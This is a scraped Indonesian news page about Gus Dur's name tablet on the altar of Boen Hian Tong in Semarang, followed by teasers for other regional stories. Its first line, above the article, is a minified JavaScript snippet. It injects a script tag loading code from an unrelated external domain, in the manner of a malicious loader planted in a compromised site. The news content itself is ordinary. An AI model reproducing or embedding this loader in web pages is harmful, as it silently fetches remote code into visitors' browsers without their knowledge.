(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ada Gus Dur di Altar Boen Hian Tong, Dianggap Bapak Tionghoa Indonesia


KANALKALIMANTAN.COM, SEMARANG – Meski Imlek tahun 2021 tidak bisa dirayakan semeriah tahun-tahun sebelumnya karena pandemi Covid-19, masyarakat Tionghoa khususnya di Semarang, Jawa Tengah mulai berkegiatan di Gedung Rasa Dharma atau Boen Hian Tong.

Mereka mulai membersihkan altar utama yang berisi 25 papan Sinci atau papan nama roh. Ada yang menarik dari deretan Sinci tersebut, yakni sinci bertuliskan nama KH Abdurahman Wahid alias  Gus Dur.

Sinci Gus Dur diletakkan bersama dengan sejumlah sinci mantan ketua Perkumpulan Boen Hian Tong yang telah meninggal.

Hal itu dikarenakan sosok Presiden Ketiga RI begitu dihormati oleh masyarakat Tionghoa dan sebagai bentuk penghormatan atas sumbangsihnya karena menghidupkan kembali tradisi kebudayaan khas Thionghoa yang sempat dilarang di era Orde Baru.

Melalui unggahan video di kanal Youtube Ganjar Pranowo, tampak Gubernur Jawa Tengah itu mengunjungi Boen Hian Tong di Jalan Gang Pinggir, Kota Semarang.

Dalam video itu, Ganjar ditemani pihak Boen Hian Tong menjelaskan makna dan serjarah adanya Sinci Gus Dur.

Gubernur Jawa Tengah, Ganjar Pranomo saat melihat Sinci Gus Dur di Boen Hian Tong (YT/Ganjar Pranowo)

Awalnya, Sinci Gus Dur tersebut dibuat setelah mendapat persetujuan dari istrinya, Sinta Nuriyah.

Kemudian sesuai saran KH Mustofa Bisri alias Gus Mus sahabat Gus Dur, sinci itu dibuat menyerupai kubah Masjid Agung Demak yang bermakna Iman, Ihsan, dan Islam.

Diketahui Sinci milik Gus Dur sudah ada sejak tahun 2014 di Boen Hian Tong. Tak sekadar papan nama, di dalam sinci itu terdapat kertas berisi lembaran autobiografi yang memaparkan silsilah nenek moyang Gus Dur dan kiprahnya menjadi presiden.

Dalam video, pihak Boen Hian Tong turut menjelaskan sesaji yang disajikan khusus untuk Gus Dur, yakni berupa makanan favoritnya.

Ia menuturkan pada Ganjar, semenjak ada Sinci Gus Dur, sajian yang awalnya babi diganti dengan kambing.

Ini yang disajikan salah satu juga kegemarannya Gus Dur, kecombrang, tempe mendoan, kopi, ikan, ayam, babi. Sekarang diganti kambing karena ada Gus Dur,” terangnya.

Dari tradisi, dari babi menjadi kambing. Kamu lihat bagaimana toleransi itu dinamis sekali. Bahkan di pusat Tionghoa sendiri saja bisa berubah karena Gus Dur,” timpal Ganjar.(Suara)

Editor : Suara

 

 

 


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.